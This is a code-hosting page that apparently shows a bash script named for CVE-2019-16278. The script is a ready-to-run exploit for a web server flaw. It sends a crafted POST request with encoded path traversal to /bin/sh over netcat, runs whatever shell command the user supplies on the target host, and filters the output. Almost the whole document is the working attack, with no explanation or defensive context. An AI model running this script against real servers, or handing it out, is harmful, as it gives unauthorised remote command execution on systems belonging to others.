You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

CVE-2019-16278.sh 292B

1234567891011121314
  1. #!/usr/bin/env bash
  2. HOST="$1"
  3. PORT="$2"
  4. shift 2
  5. ( \
  6. echo -n -e 'POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\n'; \
  7. echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
  8. echo "$@ 2>&1" \
  9. ) | nc "$HOST" "$PORT" \
  10. | sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'